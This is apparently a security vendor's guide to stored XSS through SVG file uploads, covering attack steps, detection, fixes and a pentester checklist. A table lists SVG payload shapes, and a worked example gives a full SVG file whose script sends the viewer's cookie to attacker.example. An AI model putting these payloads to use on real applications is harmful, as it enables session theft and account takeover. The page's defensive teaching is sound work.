XSS via SVG File Upload
detect, understand, remediate
SVG is an XML-based image format that supports script tags, event handlers, and external references. When an application accepts SVG uploads and serves them back inline from an origin that holds session state, every uploaded file becomes a stored XSS payload that runs as the victim user. The vulnerability lives in the rendering contract, not in the upload form.
No credit card required. Free plan available forever.
What is XSS via SVG file upload?
SVG (Scalable Vector Graphics) is not a bitmap. It is an XML document that the browser parses with the same engine that runs HTML and JavaScript. The format specification permits script tags, event handlers (onload, onclick, onmouseover), foreignObject embedded HTML, anchor links with javascript: URLs, animate elements that change attributes after parse, and external references via xlink:href and use elements. Every one of these constructs can carry executable code. When an application accepts SVG as an avatar, logo, or document attachment and later serves the file inline from an origin that holds session cookies, the upload becomes a stored cross-site scripting payload.
The vulnerability is not the upload itself. The vulnerability is the rendering contract. A PNG or JPEG returned with image/png does not execute, regardless of payload, because the browser hands the bytes to the image decoder rather than the HTML parser. An SVG returned with image/svg+xml from the same origin as the application is parsed by the HTML and JavaScript engines, and any script it carries runs with the cookies, localStorage, and DOM access of the origin that served it. Two configuration choices on the response (the Content-Type header and the origin) decide whether an uploaded SVG is data or code.
XSS via SVG sits next to stored cross-site scripting as a delivery vehicle for the same attack class, and next to unrestricted file upload as a class of upload finding that does not need server-side execution to cause harm. Where unrestricted file upload focuses on web shells and remote code execution on the server, SVG XSS focuses on the victim browser session and the data accessible to the origin that served the file.
How XSS via SVG works in practice
Find an SVG-accepting upload
The attacker maps every endpoint that accepts uploads: avatars, organisation logos, profile pictures, document attachments, support ticket evidence, ID verification, and signature fields. Endpoints that accept image/* or that explicitly list svg in the allow list are candidates.
Craft an SVG payload
A valid SVG document with an embedded script element is enough on most targets. Variations include onload handlers on the root svg element, foreignObject containing inline HTML, animate elements that mutate href values to javascript:, and xlink:href references that pull the payload from a second-stage URL.
Upload and observe
After upload, the tester requests the served file. The two signals that matter are the Content-Type header (image/svg+xml is executable; image/png after server-side conversion is not) and the response origin (same origin as the application, or a separate sandbox origin).
Trigger on the victim
When another user opens a profile, support ticket, or document that renders the uploaded SVG inline, the script executes with the victim cookies. The action depends on the application: read the session token, exfiltrate tenant data, perform actions on the victim behalf, or pivot to admin endpoints.
Common SVG payload patterns
Each pattern below is observed regularly on engagements. A scanner or manual tester should walk every variant before declaring an upload endpoint safe, because sanitisers tend to cover the obvious script element while leaving event handlers, foreignObject, or animate primitives untouched.
| Pattern | Minimal payload shape | Why it bypasses partial sanitisers |
|---|---|---|
| Inline script element | <svg ...><script>fetch(...)</script></svg> | Blocked by basic allow-list sanitisers, but trivial for testers to confirm whether the sanitiser is in the upload pipeline at all. |
| Root-level onload | <svg onload="fetch(...)" ...> | SVG event handlers are easy to miss when the sanitiser is built for HTML and only strips on* attributes from a static HTML allow list. |
| foreignObject embedded HTML | <svg ...><foreignObject><body><img src=x onerror=...></body></foreignObject></svg> | Switches the parsing context inside the SVG; sanitisers that only walk SVG elements may not descend into the embedded HTML subtree. |
| animate href mutation | <svg ...><a><animate attributeName="href" values="javascript:..."/><text>x</text></a></svg> | The static href is benign at parse time. The animate element rewrites it to a javascript URL after parse, defeating allow-list checks that only inspect the initial DOM. |
| xlink:href external pull | <use xlink:href="https://attacker.example/x.svg#g"/> | Imports a fragment from an attacker-controlled origin at render time. Network-level controls on outbound fetches are required, not just upload-time content checks. |
| DOCTYPE entity (XXE-adjacent) | <!DOCTYPE svg [<!ENTITY x SYSTEM "file:///...">]><svg>&x;</svg> | If the server-side renderer parses the file before delivery (thumbnail generation, vector preview), the same payload can also drive XXE. |
Where the vulnerability really lives
On a real engagement, the upload form is rarely the broken component. Most modern frameworks accept any uploaded bytes; the question is what happens at delivery time. The four configuration knobs that decide whether an SVG upload is safe or unsafe sit on the response path, not on the upload path.
Content-Type returned to the browser
image/svg+xml triggers the HTML and JavaScript parsers. image/png or image/jpeg after server-side rasterisation does not. Some applications return application/octet-stream and add Content-Disposition: attachment, which forces a download and prevents inline rendering.
Origin that serves the file
A separate user-content origin (uploads.app.example or a sandbox subdomain) carries no application cookies. A script that runs there cannot read the session that lives on app.example. Same-origin delivery is what turns an executable SVG into a session-stealing exploit.
Content-Security-Policy on the response
A CSP without script-src restrictions on the served origin allows inline scripts inside the SVG. A CSP that limits script-src to a hashed inline allow list, or to specific external origins, can neutralise the script even if the SVG slips through sanitisation.
Sanitisation step before delivery
A library that walks the parsed SVG DOM and strips script, event handlers, foreignObject, animate, and xlink:href to non-fragment URLs is the third defence. Sanitisers that operate on raw bytes (regex over the upload) are routinely bypassed by encoding tricks and CDATA sections.
A worked example: the avatar upload
A common shape on engagements is a SaaS application that accepts user avatar uploads, allows SVG in the allow list (because vector logos render crisply), and serves the file back inline from the same origin as the application. The upload validation checks the file extension and the leading magic bytes, both of which are easy to satisfy with a valid SVG document.
<!-- payload.svg -->
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
<script type="text/javascript">
fetch('https://attacker.example/c?d=' + encodeURIComponent(document.cookie));
</script>
<circle cx="50" cy="50" r="40" fill="green" />
</svg>The tester uploads payload.svg as their avatar. The server stores the file unchanged, returns a URL like https://app.example/uploads/u/12345/avatar.svg, and serves it back with Content-Type: image/svg+xml. When any other user (an admin reviewing the user profile, a teammate viewing a shared workspace, a client opening a comment thread) loads the page that renders the avatar with an img tag or an inline link, the browser parses the SVG, executes the script, and exfiltrates the cookie of the viewer to attacker.example.
On a SecPortal engagement, this kind of pattern shows up first as an upload probe finding from the authenticated scanner, then promotes to a manual stored-XSS finding once the tester confirms the served Content-Type and demonstrates execution against a separate browser session. The proof of concept is the network log of the cookie exfiltration paired with the original payload file. Both pieces stay attached to the finding so the retester can reproduce the attack against the fix.
How to detect XSS via SVG
Automated detection
- The authenticated scanner probes upload endpoints with SVG documents that carry script elements, onload handlers, and foreignObject HTML. It then fetches the served file and inspects the response Content-Type, Content-Disposition, and Content-Security-Policy headers to determine whether the payload is reachable in an executable context.
- The external scanner checks whether user-content origins are isolated from application origins by inspecting cookie scope, CSP, and the absence or presence of credentialed requests on the served path.
- The code scanner flags upload handlers that allow image/svg+xml in the accept list without a downstream sanitiser, content type rewrite, or sandbox-origin redirect. SCA dependency scanning identifies older versions of SVG sanitiser libraries (DOMPurify SVG profile, svg-sanitizer, sanitize-svg) where bypasses have been published as CVEs and patched in later releases.
- Header checks confirm whether the served origin carries application cookies or is genuinely sandboxed. A separate origin without credentialed requests changes the severity from session-stealing XSS to a self-XSS-like finding.
Manual testing
- Inventory every upload endpoint in scope: avatars, logos, attachments, support tickets, signature fields, ID verification. For each, attempt to upload a valid SVG payload with a benign script (an alert or a fetch to a sink the tester controls).
- For accepted uploads, fetch the served file from a separate browser session and inspect the response Content-Type, Content-Disposition, and origin. image/svg+xml on the application origin is the worst case; image/png after server-side conversion is the safest.
- If a sanitiser is present, walk every payload class: script, on-event handlers, foreignObject, animate href mutation, xlink:href external pulls, CDATA-wrapped script, and DOCTYPE entity references. Sanitisers tuned for one class often miss adjacent classes.
- For applications that perform server-side SVG rendering (thumbnail generation, PDF export), upload payloads with DOCTYPE entity references and external xlink:href values to test for XXE and SSRF in the renderer.
- Test the rendering path. A file that is only delivered as a download attachment (Content-Disposition: attachment) does not auto-execute. A file rendered inside an img tag still parses, but with no script or event handler context. A file rendered inline (as the body of an iframe, an object element, or a direct navigation) executes fully.
How to fix XSS via SVG
Convert SVG to a raster format on upload
The simplest, most robust fix is to rasterise SVG uploads to PNG or JPEG on the server (using a hardened renderer with no entity resolution and no network access) and discard the original SVG. The served file is image/png; the script never reaches a browser. Quality loss for vector logos is real, but the security boundary is clean.
Serve user uploads from a separate sandbox origin
Host user-uploaded files on a dedicated origin that does not share cookies or local storage with the application. uploads.example.com or a randomised per-tenant subdomain breaks the link between executable user content and session credentials. Combine with a strict CSP on that origin and credentialless fetches on the application side.
Sanitise SVG with a maintained library before storage
If SVG must be preserved, parse the upload server-side with a vetted sanitiser (DOMPurify with the SVG profile, svg-sanitizer, sanitize-svg, or an equivalent under the language stack) and persist only the sanitised output. Do not implement custom regex-based sanitisation; SVG payloads encode in too many directions for a regex to catch.
Force download for SVG with Content-Disposition
When the use case allows, return SVG with Content-Disposition: attachment so the browser saves the file rather than rendering it inline. This is appropriate for document attachments where users download to view but inappropriate for avatars and logos that need inline display.
Apply a strict Content-Security-Policy
A CSP that limits script-src to the application origin only, disallows inline scripts, and disallows data: and javascript: URLs neutralises most SVG payloads even if sanitisation fails. CSP is a defence in depth, not a primary defence; it depends on the CSP being applied to the served upload origin, not just to the application HTML.
Validate Content-Type strictly on the upload pipeline
Many frameworks default to inferring Content-Type from the file extension. Override that to use a content sniffer that inspects bytes, and reject files whose declared extension and detected type disagree. An attacker who renames payload.svg to payload.png does not change the bytes; the inspector catches it.
Disable XML external entities in any server-side SVG parser
If the server processes SVG before delivery (thumbnailing, PDF export, DOM-based sanitisation), configure the XML parser to disallow DOCTYPE declarations, external entity resolution, and network fetches. Otherwise the same upload doubles as an XXE vector.
Reporting an SVG XSS finding
SVG XSS findings are easy to dispute when the report stops at "application accepts SVG uploads". Engineering pushes back that uploading an SVG is a feature, the file passes basic validation, and no other user has reported a problem. The strongest reports name the exact upload endpoint, show the served Content-Type and origin, include a benign payload that triggers a network beacon, and demonstrate execution against a second browser session that holds a different user role (typically an admin or a tenant peer).
On a SecPortal engagement, the finding sits on the engagement record with the affected upload endpoint, the served Content-Type and CSP, the CVSS 3.1 vector calibrated to the data accessible to the victim role, the CWE-79 mapping, the request and response evidence for both the upload and the served file, and the remediation guidance from this page. Pentest engagement records keep the original payload, the served bytes, and the network capture of the cookie beacon attached to the finding so the retest verification references the same artefacts that proved the original break. The finding triage workflow covers how to separate scanner-derived flags (a permissive accept list in source) from manually validated findings (a confirmed cookie exfiltration on a live session) so the report differentiates rule hits from confirmed exploits.
Compliance impact
OWASP Top 10
A03 Injection
OWASP ASVS
V5 Validation, Sanitisation, Encoding
PCI DSS
Req. 6.2 Secure Coding Practices
ISO 27001
A.8.28 Secure Coding
SOC 2
CC7.1 Vulnerability Detection
NIST 800-53
SI-10 Information Input Validation
CREST Pentesting
Web Application Test Methodology
OWASP MASVS
MASVS-PLATFORM Web Views
A pentester checklist for SVG uploads
The list below is the minimum coverage a tester should walk before declaring an upload surface safe. Each item maps to a specific finding shape, with a CVSS profile that reflects the data accessible to the victim role.
- Inventory every upload endpoint: avatars, logos, attachments, support evidence, signatures, ID verification, and any field that accepts files. Treat each one as a candidate SVG sink until proven otherwise.
- For each endpoint, upload a valid SVG with a benign script (alert, fetch to a tester-controlled sink, or a console log). If the upload is rejected, the endpoint is not in scope; record the rejection reason.
- For accepted uploads, fetch the served file and capture the Content-Type, Content-Disposition, origin host, and CSP. Note whether the served origin carries application cookies (Set-Cookie scope, credentialed fetch behaviour).
- Trigger rendering against a different browser session that holds a different user role. The proof of impact is execution in a session the attacker does not own. Capture the network beacon and the cookie value (or partial value) returned to the tester sink.
- If a sanitiser is present, walk every payload class: script element, root-level onload, foreignObject HTML, animate href mutation, xlink:href external pull, CDATA-wrapped script, and DOCTYPE entity reference. Record which classes pass and which are stripped.
- For applications that render SVG server-side, test for XXE and SSRF in the renderer with DOCTYPE entity payloads and external xlink:href targets pointing at internal hosts or file URIs.
- Record the CVSS vector calibrated to the data accessible to the victim role (Confidentiality: High when admin sessions can be compromised; Lower when only same-tenant peer sessions are reachable), the CWE-79 mapping, and the remediation plan covering rasterisation, sandbox origin, sanitiser, or CSP.
Catch malicious SVG uploads before the avatar renders
SecPortal probes upload endpoints with SVG payloads, checks the served Content-Type and Content-Security-Policy, and keeps the request and response evidence attached to the finding through retest. Start free.
No credit card required. Free plan available forever.